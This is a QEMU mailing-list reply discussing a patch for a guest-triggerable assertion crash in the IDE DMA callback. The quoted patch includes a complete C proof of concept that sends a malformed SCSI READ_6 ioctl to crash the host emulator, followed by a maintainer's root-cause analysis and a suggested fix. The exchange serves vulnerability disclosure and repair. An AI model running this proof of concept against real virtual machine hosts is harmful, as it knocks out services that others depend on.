On 7/5/19 10:07 AM, Alexander Popov wrote:
> This assertion was introduced in the commit a718978ed58a in July 2015.
> It implies that the size of successful DMA transfers handled in
> ide_dma_cb() should be multiple of 512 (the size of a sector).
>
> But guest systems can initiate DMA transfers that don't fit this
> requirement. Let's improve the assertion to prevent qemu DoS from quests.
>
> PoC for Linux that uses SCSI_IOCTL_SEND_COMMAND to perform such an ATA
> command and crash qemu:
>
> #include <stdio.h>
> #include <sys/ioctl.h>
> #include <stdint.h>
> #include <sys/types.h>
> #include <sys/stat.h>
> #include <fcntl.h>
> #include <string.h>
> #include <stdlib.h>
> #include <scsi/scsi.h>
> #include <scsi/scsi_ioctl.h>
>
> #define CMD_SIZE 2048
>
> struct scsi_ioctl_cmd_6 {
> unsigned int inlen;
> unsigned int outlen;
> unsigned char cmd[6];
> unsigned char data[];
> };
>
> int main(void)
> {
> intptr_t fd = 0;
> struct scsi_ioctl_cmd_6 *cmd = NULL;
>
> cmd = malloc(CMD_SIZE);
> if (!cmd) {
> perror("[-] malloc");
> return 1;
> }
>
> memset(cmd, 0, CMD_SIZE);
> cmd->inlen = 1337;
> cmd->cmd[0] = READ_6;
>
> fd = open("/dev/sg0", O_RDONLY);
> if (fd == -1) {
> perror("[-] opening sg");
> return 1;
> }
>
> printf("[+] sg0 is opened\n");
>
> printf("[.] qemu should break here:\n");
> fflush(stdout);
> ioctl(fd, SCSI_IOCTL_SEND_COMMAND, cmd);
> printf("[-] qemu didn't break\n");
>
> free(cmd);
>
> return 1;
> }
>
> Signed-off-by: Alexander Popov <alex.po...@linux.com>
> ---
> hw/ide/core.c | 2 +-
> 1 file changed, 1 insertion(+), 1 deletion(-)
>
> diff --git a/hw/ide/core.c b/hw/ide/core.c
> index 6afadf8..304fe69 100644
> --- a/hw/ide/core.c
> +++ b/hw/ide/core.c
> @@ -868,7 +868,7 @@ static void ide_dma_cb(void *opaque, int ret)
>
> sector_num = ide_get_sector(s);
> if (n > 0) {
> - assert(n * 512 == s->sg.size);
> + assert(n == s->sg.size / 512);
> dma_buf_commit(s, s->sg.size);
> sector_num += n;
> ide_set_sector(s, sector_num);
>
Oh, this is fun.
So you're actually requesting 131072 bytes (256 sectors) but you're
giving it far too short of a PRDT.
But ... the prepare_buf callback got anything at all, so it was happy to
proceed, but the callback chokes over the idea that the SGlist wasn't
formatted correctly -- it can't deal with partial tails.
I think it might be the case that the sglist needs to be allowed to have
an unaligned tail, and then the second trip to the dma_cb when there
isn't any more regions in the PRDT to add to the SGList to transfer at
least a single sector -- but the IDE state machine still has sectors to
transfer -- we need to trigger the short PRD clause.
Papering over it by truncating the tail I think isn't sufficient; there
are other problems this exposes.
As an emergency patch, it might be better to just do this whenever we
see partial tails:
prepared = ...prepare_buf(s->bus->dma, s->io_buffer_size);
if (prepared % 512) {
ide_dma_error(s);
return;
}
I think that prepare_buf does not give unaligned results if you provided
*too many* bytes, so the unaligned return only happens when you starve it.
I can worry about a proper fix for 4.2+.
--js
